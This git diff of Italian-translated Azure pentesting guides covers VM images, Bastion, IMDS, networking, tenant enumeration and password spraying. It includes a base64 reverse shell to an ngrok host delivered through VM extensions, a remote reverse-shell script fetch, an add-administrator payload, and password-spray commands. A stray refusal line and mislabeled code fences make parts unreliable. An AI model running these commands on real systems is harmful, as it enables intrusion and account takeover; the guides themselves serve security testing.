Un **immagine VM** è un modello che contiene il sistema operativo, le impostazioni dell'applicazione e il filesystem necessari per **creare una nuova macchina virtuale (VM)**. La differenza tra un'immagine e uno snapshot del disco è che uno snapshot del disco è una copia in sola lettura, a un determinato momento, di un singolo disco gestito, utilizzato principalmente per backup o risoluzione dei problemi, mentre un'immagine può contenere **più dischi ed è progettata per servire come modello per la creazione di nuove VM**.\
Un **VM image** è un modello che contiene il sistema operativo, le impostazioni dell'applicazione e il filesystem necessari per **creare una nuova macchina virtuale (VM)**. La differenza tra un'immagine e uno snapshot del disco è che uno snapshot del disco è una copia in sola lettura, a un determinato momento, di un singolo disco gestito, utilizzato principalmente per backup o risoluzione dei problemi, mentre un'immagine può contenere **più dischi ed è progettata per servire come modello per la creazione di nuove VM**.\
Le immagini possono essere gestite nella **sezione Immagini** di Azure o all'interno delle **gallerie di calcolo di Azure**, che consentono di generare **versioni** e **condividere** l'immagine tra tenant o addirittura renderla pubblica.
Un **punto di ripristino** memorizza la configurazione della VM e **snapshot** dell'applicazione **coerenti nel tempo** di tutti i dischi gestiti collegati alla VM. È correlato alla VM e il suo scopo è quello di poter ripristinare quella VM a come era in quel specifico momento.
@@ -116,7 +116,7 @@ az restore-point collection show --collection-name <collection-name> --resource-
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
## List all galleries and get info about one
Get-AzGallery
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>
@@ -144,13 +144,13 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
## Azure Site Recovery
Dalla [**documentazione**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery aiuta a garantire la continuità aziendale mantenendo attive le applicazioni e i carichi di lavoro aziendali durante le interruzioni. Site Recovery **replica i carichi di lavoro** in esecuzione su macchine fisiche e virtuali (VM) da un sito primario a una posizione secondaria. Quando si verifica un'interruzione nel tuo sito primario, si passa a una posizione secondaria e si accede alle app da lì. Dopo che la posizione primaria è di nuovo operativa, puoi tornare ad essa.
Dalla [**documentazione**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery aiuta a garantire la continuità aziendale mantenendo le applicazioni e i carichi di lavoro aziendali attivi durante le interruzioni. Site Recovery **replica i carichi di lavoro** in esecuzione su macchine fisiche e virtuali (VM) da un sito primario a una posizione secondaria. Quando si verifica un'interruzione nel tuo sito primario, si passa a una posizione secondaria e si accede alle app da lì. Dopo che la posizione primaria è di nuovo operativa, puoi tornare ad essa.
## Azure Bastion
Azure Bastion consente un accesso sicuro e senza soluzione di continuità al **Remote Desktop Protocol (RDP)** e **Secure Shell (SSH)** alle tue macchine virtuali (VM) direttamente tramite il Portale Azure o tramite un jump box. Eliminando **la necessità di indirizzi IP pubblici** sulle tue VM.
Azure Bastion consente un accesso sicuro e senza soluzione di continuità al **Remote Desktop Protocol (RDP)** e al **Secure Shell (SSH)** alle tue macchine virtuali (VM) direttamente tramite il Portale Azure o tramite un jump box. Eliminando **la necessità di indirizzi IP pubblici** sulle tue VM.
Il Bastion distribuisce una subnet chiamata **`AzureBastionSubnet`** con una netmask di `/26` nella VNet su cui deve operare. Quindi, consente di **connettersi a VM interne tramite il browser** utilizzando `RDP` e `SSH`, evitando di esporre le porte delle VM a Internet. Può anche funzionare come un **jump host**.
Il Bastion distribuisce una subnet chiamata **`AzureBastionSubnet`** con una maschera di rete `/26` nella VNet su cui deve operare. Quindi, consente di **connettersi a VM interne tramite il browser** utilizzando `RDP` e `SSH`, evitando di esporre le porte delle VM a Internet. Può anche funzionare come un **jump host**.
Per elencare tutti gli Azure Bastion Hosts nella tua sottoscrizione e connetterti alle VM tramite essi, puoi utilizzare i seguenti comandi:
@@ -180,7 +180,7 @@ az network bastion rdp \
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# List bastions
Get-AzBastion
```
@@ -189,7 +189,7 @@ Get-AzBastion
## Metadata
Il servizio di metadati delle istanze Azure (IMDS) **fornisce informazioni sulle istanze di macchine virtuali in esecuzione** per assistere nella loro gestione e configurazione. Offre dettagli come SKU, archiviazione, configurazioni di rete e informazioni sugli eventi di manutenzione imminenti tramite **REST API disponibile all'indirizzo IP non instradabile 169.254.169.254**, accessibile solo dall'interno della VM. La comunicazione tra la VM e IMDS rimane all'interno dell'host, garantendo un accesso sicuro. Quando si interroga IMDS, i client HTTP all'interno della VM dovrebbero bypassare i proxy web per garantire una comunicazione corretta.
Il servizio di metadati delle istanze Azure (IMDS) **fornisce informazioni sulle istanze di macchine virtuali in esecuzione** per assistere nella loro gestione e configurazione. Offre dettagli come SKU, configurazioni di archiviazione, configurazioni di rete e informazioni sugli eventi di manutenzione imminenti tramite **REST API disponibile all'indirizzo IP non instradabile 169.254.169.254**, accessibile solo dall'interno della VM. La comunicazione tra la VM e IMDS rimane all'interno dell'host, garantendo un accesso sicuro. Quando si interroga IMDS, i client HTTP all'interno della VM dovrebbero bypassare i proxy web per garantire una comunicazione corretta.
Inoltre, per contattare l'endpoint dei metadati, la richiesta HTTP deve avere l'intestazione **`Metadata: true`** e non deve avere l'intestazione **`X-Forwarded-For`**.
@@ -336,7 +336,7 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[]
az vm run-command list --output table
```
```powershell
```bash
# Get readable VMs
Get-AzVM | fl
# Lis running VMs
@@ -450,7 +450,7 @@ az vm extension image list --publisher "Site24x7" --output table
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# It takes some mins to run
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
```
@@ -478,7 +478,7 @@ az vm extension set \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
```
- Esegui uno script situato su Internet
- Eseguire uno script situato su Internet
```bash
az vm extension set \
--resource-group rsc-group> \
@@ -520,10 +520,10 @@ az vm extension set \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
```
Potresti anche eseguire altri payload come: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
Puoi anche eseguire altri payload come: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
- Reimposta la password utilizzando l'estensione VMAccess
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -540,7 +540,7 @@ Il permesso richiesto è ancora **`Microsoft.Compute/virtualMachines/extensions/
<summary>Estensione VMAccess</summary>
Questa estensione consente di modificare la password (o crearla se non esiste) degli utenti all'interno delle VM Windows.
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -551,8 +551,8 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredStateConfiguration (DSC)</summary>
Questa è un **estensione VM** che appartiene a Microsoft e utilizza PowerShell DSC per gestire la configurazione delle VM Windows di Azure. Pertanto, può essere utilizzata per **eseguire comandi arbitrari** nelle VM Windows tramite questa estensione:
```powershell
Questa è un'**estensione VM** che appartiene a Microsoft e utilizza PowerShell DSC per gestire la configurazione delle VM Windows di Azure. Pertanto, può essere utilizzata per **eseguire comandi arbitrari** nelle VM Windows tramite questa estensione:
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
@@ -727,7 +727,7 @@ Questi sono **dati persistenti** che possono essere recuperati dall'endpoint dei
È possibile passare alcuni dati alla VM che saranno memorizzati nei percorsi previsti:
- In **Windows**, i dati personalizzati vengono posizionati in `%SYSTEMDRIVE%\AzureData\CustomData.bin` come file binario e non vengono elaborati.
- In **Windows**, i dati personalizzati sono collocati in `%SYSTEMDRIVE%\AzureData\CustomData.bin` come file binario e non vengono elaborati.
- In **Linux**, erano memorizzati in `/var/lib/waagent/ovf-env.xml` e ora sono memorizzati in `/var/lib/waagent/CustomData/ovf-env.xml`
- **Agente Linux**: Non elabora i dati personalizzati per impostazione predefinita, è necessaria un'immagine personalizzata con i dati abilitati
- **cloud-init:** Per impostazione predefinita elabora i dati personalizzati e questi dati possono essere in [**diversi formati**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Potrebbe eseguire uno script facilmente inviando semplicemente lo script nei dati personalizzati.

50
src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md
View File

@@ -5,11 +5,11 @@
## Informazioni di Base
Azure fornisce **reti virtuali (VNet)** che consentono agli utenti di creare **reti isolate** all'interno del cloud Azure. All'interno di queste VNet, risorse come macchine virtuali, applicazioni, database... possono essere ospitate e gestite in modo sicuro. Il networking in Azure supporta sia la comunicazione all'interno del cloud (tra i servizi Azure) sia la connessione a reti esterne e a Internet.\
Inoltre, è possibile **connettere** le VNet con altre VNet e con reti on-premise.
Inoltre, è possibile **collegare** le VNet con altre VNet e con reti on-premise.
## Rete Virtuale (VNET) e Sottoreti
Una Rete Virtuale di Azure (VNet) è una rappresentazione della tua rete nel cloud, che fornisce **isolamento logico** all'interno dell'ambiente Azure dedicato alla tua sottoscrizione. Le VNet ti consentono di fornire e gestire reti private virtuali (VPN) in Azure, ospitando risorse come Macchine Virtuali (VM), database e servizi applicativi. Offrono **controllo completo sulle impostazioni di rete**, inclusi intervalli di indirizzi IP, creazione di sottoreti, tabelle di routing e gateway di rete.
Una Rete Virtuale di Azure (VNet) è una rappresentazione della tua rete nel cloud, che fornisce **isolamento logico** all'interno dell'ambiente Azure dedicato alla tua sottoscrizione. Le VNet ti consentono di fornire e gestire reti private virtuali (VPN) in Azure, ospitando risorse come Macchine Virtuali (VM), database e servizi applicativi. Offrono **pieno controllo sulle impostazioni di rete**, inclusi intervalli di indirizzi IP, creazione di sottoreti, tabelle di routing e gateway di rete.
Le **sottoreti** sono suddivisioni all'interno di una VNet, definite da specifici **intervalli di indirizzi IP**. Segmentando una VNet in più sottoreti, puoi organizzare e proteggere le risorse in base alla tua architettura di rete.\
Per impostazione predefinita, tutte le sottoreti all'interno della stessa Rete Virtuale di Azure (VNet) **possono comunicare tra loro** senza alcuna restrizione.
@@ -35,7 +35,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List VNets
Get-AzVirtualNetwork | Select-Object Name, Location, @{Name="AddressSpace"; Expression={$_.AddressSpace.AddressPrefixes}}
@@ -75,7 +75,7 @@ az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --q
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List NSGs
Get-AzNetworkSecurityGroup | Select-Object Name, Location
Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName>
@@ -91,19 +91,19 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
## Azure Firewall
Azure Firewall è un **servizio di sicurezza di rete gestito** in Azure che protegge le risorse cloud ispezionando e controllando il traffico. È un **firewall stateful** che filtra il traffico in base a regole per i Livelli 3-7, supportando la comunicazione sia **all'interno di Azure** (traffico est-ovest) che **verso/da reti esterne** (traffico nord-sud). Distribuito a livello di **Virtual Network (VNet)**, fornisce protezione centralizzata per tutte le subnet nella VNet. Azure Firewall si scala automaticamente per gestire le richieste di traffico e garantisce alta disponibilità senza richiedere configurazioni manuali.
Azure Firewall è un **servizio di sicurezza di rete gestito** in Azure che protegge le risorse cloud ispezionando e controllando il traffico. È un **firewall stateful** che filtra il traffico in base a regole per i Livelli da 3 a 7, supportando la comunicazione sia **all'interno di Azure** (traffico est-ovest) che **verso/da reti esterne** (traffico nord-sud). Distribuito a livello di **Virtual Network (VNet)**, fornisce protezione centralizzata per tutte le subnet nella VNet. Azure Firewall si scala automaticamente per gestire le richieste di traffico e garantisce alta disponibilità senza richiedere configurazioni manuali.
È disponibile in tre SKU—**Basic**, **Standard** e **Premium**, ciascuno adattato a specifiche esigenze dei clienti:
È disponibile in tre SKU—**Basic**, **Standard** e **Premium**, ciascuno progettato per soddisfare esigenze specifiche dei clienti:
| **Caso d'uso raccomandato** | Piccole/Medie Imprese (PMI) con esigenze limitate | Uso aziendale generale, filtraggio Layer 3–7 | Ambienti altamente sensibili (es. elaborazione pagamenti) |
| ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- |
| **Prestazioni** | Fino a 250 Mbps di throughput | Fino a 30 Gbps di throughput | Fino a 100 Gbps di throughput |
| **Intelligence sulle minacce** | Solo avvisi | Avvisi e blocco (IP/domini malevoli) | Avvisi e blocco (intelligence sulle minacce avanzate) |
| **Filtraggio L3–L7** | Filtraggio di base | Filtraggio stateful attraverso i protocolli | Filtraggio stateful con ispezione avanzata |
| **Protezione avanzata dalle minacce** | Non disponibile | Filtraggio basato su intelligence sulle minacce | Include il Sistema di Rilevamento e Prevenzione delle Intrusioni (IDPS) |
| **Protezione avanzata dalle minacce** | Non disponibile | Filtraggio basato su intelligence delle minacce | Include il Sistema di Rilevamento e Prevenzione delle Intrusioni (IDPS) |
| **Ispezione TLS** | Non disponibile | Non disponibile | Supporta la terminazione TLS in entrata/uscita |
| **Disponibilità** | Backend fisso (2 VM) | Autoscaling | Autoscaling |
| **Facilità di gestione** | Controlli di base | Gestito tramite Firewall Manager | Gestito tramite Firewall Manager |
| **Disponibilità** | Backend fisso (2 VM) | Autoscaling | Autoscaling |
| **Facilità di gestione** | Controlli di base | Gestito tramite Firewall Manager | Gestito tramite Firewall Manager |
### Enumeration
@@ -124,7 +124,7 @@ az network firewall nat-rule collection list --firewall-name <FirewallName> --re
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Azure Firewalls
Get-AzFirewall
@@ -159,7 +159,7 @@ az network route-table route list --route-table-name <RouteTableName> --resource
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Route Tables
Get-AzRouteTable
@@ -180,7 +180,7 @@ Private Link può essere utilizzato con vari servizi Azure, come Azure Storage,
**Esempio:**
Considera uno scenario in cui hai un **Azure SQL Database a cui desideri accedere in modo sicuro dalla tua VNet**. Normalmente, questo potrebbe comportare il passaggio attraverso Internet pubblico. Con Private Link, puoi creare un **endpoint privato nella tua VNet** che si collega direttamente al servizio Azure SQL Database. Questo endpoint fa apparire il database come se fosse parte della tua VNet, accessibile tramite un indirizzo IP privato, garantendo così un accesso sicuro e privato.
Considera uno scenario in cui hai un **Azure SQL Database che desideri accedere in modo sicuro dalla tua VNet**. Normalmente, questo potrebbe comportare il passaggio attraverso Internet pubblico. Con Private Link, puoi creare un **endpoint privato nella tua VNet** che si collega direttamente al servizio Azure SQL Database. Questo endpoint fa apparire il database come se fosse parte della tua VNet, accessibile tramite un indirizzo IP privato, garantendo così un accesso sicuro e privato.
### **Enumerazione**
@@ -195,7 +195,7 @@ az network private-endpoint list --query "[].{name:name, location:location, reso
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Private Link Services
Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
@@ -226,7 +226,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Virtual Networks with Service Endpoints
Get-AzVirtualNetwork
@@ -262,7 +262,7 @@ In sintesi, mentre sia i Service Endpoints che i Private Links forniscono connet
## Azure Front Door (AFD) & AFD WAF
**Azure Front Door** è un punto di accesso scalabile e sicuro per la **veloce consegna** delle tue applicazioni web globali. **Combina** vari servizi come **bilanciamento del carico globale, accelerazione del sito, offloading SSL e capacità di Web Application Firewall (WAF)** in un unico servizio. Azure Front Door fornisce instradamento intelligente basato sulla **posizione edge più vicina all'utente**, garantendo prestazioni e affidabilità ottimali. Inoltre, offre instradamento basato su URL, hosting multi-sito, affinità di sessione e sicurezza a livello di applicazione.
**Azure Front Door** è un punto di accesso scalabile e sicuro per la **veloce consegna** delle tue applicazioni web globali. **Combina** vari servizi come **bilanciamento del carico globale, accelerazione del sito, offloading SSL e capacità di Web Application Firewall (WAF)** in un unico servizio. Azure Front Door fornisce instradamento intelligente basato sulla **posizione edge più vicina all'utente**, garantendo prestazioni e affidabilità ottimali. Inoltre, offre instradamento basato su URL, hosting di più siti, affinità di sessione e sicurezza a livello di applicazione.
**Azure Front Door WAF** è progettato per **proteggere le applicazioni web dagli attacchi basati sul web** senza modifiche al codice di backend. Include regole personalizzate e set di regole gestite per proteggere contro minacce come SQL injection, cross-site scripting e altri attacchi comuni.
@@ -283,7 +283,7 @@ az network front-door waf-policy list --query "[].{name:name, resourceGroup:reso
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Azure Front Door Instances
Get-AzFrontDoor
@@ -295,7 +295,7 @@ Get-AzFrontDoorWafPolicy -Name <policyName> -ResourceGroupName <resourceGroupNam
## Azure Application Gateway e Azure Application Gateway WAF
Azure Application Gateway è un **bilanciatore di carico per il traffico web** che ti consente di gestire il traffico verso le tue **applicazioni web**. Offre **bilanciamento del carico a livello 7, terminazione SSL e capacità di firewall per applicazioni web (WAF)** nel Controller di Distribuzione delle Applicazioni (ADC) come servizio. Le caratteristiche principali includono instradamento basato su URL, affinità di sessione basata su cookie e offloading del livello di socket sicuro (SSL), che sono cruciali per le applicazioni che richiedono capacità di bilanciamento del carico complesse come instradamento globale e instradamento basato su percorso.
Azure Application Gateway è un **bilanciatore di carico per il traffico web** che ti consente di gestire il traffico verso le tue **applicazioni web**. Offre **bilanciamento del carico a livello 7, terminazione SSL e capacità di firewall per applicazioni web (WAF)** nel Controller di Distribuzione delle Applicazioni (ADC) come servizio. Le caratteristiche principali includono instradamento basato su URL, affinità di sessione basata su cookie e scarico del livello di socket sicuro (SSL), che sono cruciali per le applicazioni che richiedono capacità di bilanciamento del carico complesse come instradamento globale e instradamento basato su percorso.
**Esempio:**
@@ -312,27 +312,27 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List the Web Application Firewall configurations for your Application Gateways
(Get-AzApplicationGateway -Name <AppGatewayName> -ResourceGroupName <ResourceGroupName>).WebApplicationFirewallConfiguration
```
{{#endtab }}
{{#endtabs }}
## Azure Hub, Spoke e VNet Peering
## Azure Hub, Spoke & VNet Peering
**VNet Peering** è una funzionalità di rete in Azure che **consente a diverse Reti Virtuali (VNets) di essere collegate direttamente e senza soluzione di continuità**. Attraverso il VNet peering, le risorse in una VNet possono comunicare con le risorse in un'altra VNet utilizzando indirizzi IP privati, **come se fossero nella stessa rete**.\
**Il VNet Peering può essere utilizzato anche con reti on-prem** configurando una VPN site-to-site o Azure ExpressRoute.
**Azure Hub e Spoke** è una topologia di rete utilizzata in Azure per gestire e organizzare il traffico di rete. **L'"hub" è un punto centrale che controlla e instrada il traffico tra i diversi "spoke"**. L'hub contiene tipicamente servizi condivisi come appliance virtuali di rete (NVA), Azure VPN Gateway, Azure Firewall o Azure Bastion. Gli **"spoke" sono VNets che ospitano carichi di lavoro e si connettono all'hub utilizzando il VNet peering**, consentendo loro di sfruttare i servizi condivisi all'interno dell'hub. Questo modello promuove un layout di rete pulito, riducendo la complessità centralizzando i servizi comuni che più carichi di lavoro su diverse VNets possono utilizzare.
**Azure Hub and Spoke** è una topologia di rete utilizzata in Azure per gestire e organizzare il traffico di rete. **L'"hub" è un punto centrale che controlla e instrada il traffico tra i diversi "spoke"**. L'hub contiene tipicamente servizi condivisi come appliance virtuali di rete (NVA), Azure VPN Gateway, Azure Firewall o Azure Bastion. Gli **"spoke" sono VNets che ospitano carichi di lavoro e si connettono all'hub utilizzando il VNet peering**, consentendo loro di sfruttare i servizi condivisi all'interno dell'hub. Questo modello promuove un layout di rete pulito, riducendo la complessità centralizzando i servizi comuni che più carichi di lavoro su diverse VNets possono utilizzare.
> [!CAUTION] > **Il VNET peering non è transitivo in Azure**, il che significa che se lo spoke 1 è connesso allo spoke 2 e lo spoke 2 è connesso allo spoke 3, allora lo spoke 1 non può comunicare direttamente con lo spoke 3.
**Esempio:**
Immagina un'azienda con dipartimenti separati come Vendite, Risorse Umane e Sviluppo, **ognuno con la propria VNet (gli spoke)**. Queste VNet **richiedono accesso a risorse condivise** come un database centrale, un firewall e un gateway internet, che si trovano tutti in **un'altra VNet (l'hub)**. Utilizzando il modello Hub e Spoke, ogni dipartimento può **connettersi in modo sicuro alle risorse condivise attraverso l'hub VNet senza esporre quelle risorse a internet pubblico** o creare una struttura di rete complessa con numerose connessioni.
Immagina un'azienda con dipartimenti separati come Vendite, Risorse Umane e Sviluppo, **ognuno con la propria VNet (gli spoke)**. Queste VNet **richiedono accesso a risorse condivise** come un database centrale, un firewall e un gateway internet, che si trovano tutti in **un'altra VNet (l'hub)**. Utilizzando il modello Hub e Spoke, ogni dipartimento può **connettersi in modo sicuro alle risorse condivise attraverso l'hub VNet senza esporre quelle risorse a Internet pubblico** o creare una struttura di rete complessa con numerose connessioni.
### Enumerazione
### Enumeration
{{#tabs }}
{{#tab name="az cli" }}
@@ -348,7 +348,7 @@ az network firewall list --query "[].{name:name, location:location, resourceGrou
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List all VNets in your subscription
Get-AzVirtualNetwork
@@ -382,7 +382,7 @@ az network vpn-connection list --gateway-name <VpnGatewayName> --resource-group
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List VPN Gateways
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
@@ -410,7 +410,7 @@ az network express-route list --query "[].{name:name, location:location, resourc
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List ExpressRoute Circuits
Get-AzExpressRouteCircuit
```

28
src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md
View File

@@ -14,10 +14,10 @@ Puoi interrogare direttamente l'API o utilizzare la libreria PowerShell [**AADIn
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **Informazioni di accesso**, incluso l'ID del tenant | `Get-AADIntTenantID -Domain <domain>` |
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Tutti i domini** del tenant | `Get-AADIntTenantDomains -Domain <domain>` |
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>Informazioni di accesso</strong> del tenant, incluso il nome del tenant e il tipo di <strong>autenticazione del dominio.</strong><br>Se <code>NameSpaceType</code> è <strong><code>Managed</code></strong>, significa che è utilizzato <strong>AzureAD</strong>.</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
| login.microsoftonline.com/common/GetCredentialType | Informazioni di accesso, inclusa **informazioni SSO Desktop** | `Get-AADIntLoginInformation -UserName <UserName>` |
| login.microsoftonline.com/common/GetCredentialType | Informazioni di accesso, inclusa **l'informazione SSO Desktop** | `Get-AADIntLoginInformation -UserName <UserName>` |
Puoi interrogare tutte le informazioni di un tenant Azure con **solo un comando della** [**libreria AADInternals**](https://github.com/Gerenios/AADInternals):
```powershell
```bash
Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table
```
Esempio di informazioni sul tenant Azure:
@@ -46,8 +46,8 @@ Inoltre, l'output presenta i nomi di tutti i domini verificati associati al tena
```
L'email è l'indirizzo email dell'utente dove "@" è sostituito con un underscore "\_".
Con [**AADInternals**](https://github.com/Gerenios/AADInternals), puoi facilmente verificare se l'utente esiste o meno:
```powershell
Con [**AADInternals**](https://github.com/Gerenios/AADInternals), puoi facilmente controllare se l'utente esiste o meno:
```bash
# Check does the user exist
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
```
@@ -67,7 +67,7 @@ external.user_gmail.com#EXT#@company.onmicrosoft.com
external.user_outlook.com#EXT#@company.onmicrosoft.com
```
```powershell
```bash
# Invoke user enumeration
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
```
@@ -76,15 +76,15 @@ Ci sono **tre diversi metodi di enumerazione** tra cui scegliere:
| Metodo | Descrizione |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Normale | Questo si riferisce all'API GetCredentialType menzionata sopra. Il metodo predefinito. |
| Accesso | <p>Questo metodo cerca di accedere come utente.<br><strong>Nota:</strong> le query verranno registrate nel registro degli accessi.</p> |
| Autologon | <p>Questo metodo cerca di accedere come utente tramite l'endpoint di autologon.<br><strong>Le query non vengono registrate</strong> nel registro degli accessi! Pertanto, funziona bene anche per attacchi di password spray e brute-force.</p> |
| Accesso | <p>Questo metodo tenta di accedere come utente.<br><strong>Nota:</strong> le query verranno registrate nel registro degli accessi.</p> |
| Autologon | <p>Questo metodo tenta di accedere come utente tramite l'endpoint di autologon.<br><strong>Le query non vengono registrate</strong> nel registro degli accessi! Pertanto, funziona bene anche per attacchi di password spray e brute-force.</p> |
Dopo aver scoperto i nomi utente validi, puoi ottenere **info su un utente** con:
```powershell
```bash
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
```
Lo script [**o365creeper**](https://github.com/LMGsec/o365creeper) consente anche di scoprire **se un'email è valida**.
```powershell
```bash
# Put in emails.txt emails such as:
# - root@corp.onmicrosoft.com
python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
@@ -168,19 +168,19 @@ I'm sorry, but I cannot provide the content you requested.
]
}
```
## Azure Services
## Servizi Azure
Sappiamo che i **domini utilizzati dal tenant Azure** è tempo di provare a trovare i **servizi Azure esposti**.
Sappi che ora che conosci i **domini utilizzati dal tenant Azure** è tempo di cercare **servizi Azure esposti**.
Puoi utilizzare un metodo da [**MicroBust**](https://github.com/NetSPI/MicroBurst) per tale scopo. Questa funzione cercherà il nome di dominio di base (e alcune permutazioni) in diversi **domini di servizi Azure:**
```powershell
```bash
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
```
## Open Storage
Puoi scoprire storage aperti con uno strumento come [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) che utilizzerà il file **`Microburst/Misc/permitations.txt`** per generare permutazioni (molto semplici) per cercare di **trovare account di storage aperti**.
```powershell
Puoi scoprire storage aperti con uno strumento come [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) che utilizzerà il file **`Microburst/Misc/permitations.txt`** per generare permutazioni (molto semplici) per provare a **trovare account di storage aperti**.
```bash
Import-Module .\MicroBurst\MicroBurst.psm1
Invoke-EnumerateAzureBlobs -Base corp
[...]

4
src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md
View File

@@ -9,7 +9,7 @@ In **Azure** questo può essere fatto contro **diversi endpoint API** come Azure
Tuttavia, nota che questa tecnica è **molto rumorosa** e il Blue Team può **catturarla facilmente**. Inoltre, la **complessità della password forzata** e l'uso di **MFA** possono rendere questa tecnica piuttosto inutile.
Puoi eseguire un attacco di password spray con [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)
```powershell
```bash
. .\MSOLSpray\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
```
@@ -18,7 +18,7 @@ O con [**o365spray**](https://github.com/0xZDH/o365spray)
python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com
```
O con [**MailSniper**](https://github.com/dafthack/MailSniper)
```powershell
```bash
#OWA
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
#EWS

26
src/pentesting-cloud/pentesting-cloud-methodology.md
View File

@@ -9,10 +9,10 @@
Ogni cloud ha le proprie peculiarità, ma in generale ci sono alcune **cose comuni che un pentester dovrebbe controllare** quando testa un ambiente cloud:
- **Controlli di benchmark**
- Questo ti aiuterà a **comprendere la dimensione** dell'ambiente e **i servizi utilizzati**
- Ti permetterà anche di trovare alcune **veloci misconfigurazioni** poiché puoi eseguire la maggior parte di questi test con **strumenti automatizzati**
- Questo ti aiuterà a **comprendere la dimensione** dell'ambiente e i **servizi utilizzati**
- Ti permetterà anche di trovare alcune **misconfigurazioni rapide** poiché puoi eseguire la maggior parte di questi test con **strumenti automatizzati**
- **Enumerazione dei servizi**
- Probabilmente non troverai molte più misconfigurazioni qui se hai eseguito correttamente i test di benchmark, ma potresti trovare alcune che non erano state cercate nel test di benchmark.
- Probabilmente non troverai molte altre misconfigurazioni qui se hai eseguito correttamente i test di benchmark, ma potresti trovare alcune che non erano state cercate nel test di benchmark.
- Questo ti permetterà di sapere **cosa viene esattamente utilizzato** nell'ambiente cloud
- Questo aiuterà molto nei passaggi successivi
- **Controlla le risorse esposte**
@@ -22,14 +22,14 @@ Ogni cloud ha le proprie peculiarità, ma in generale ci sono alcune **cose comu
- **Controlla i permessi**
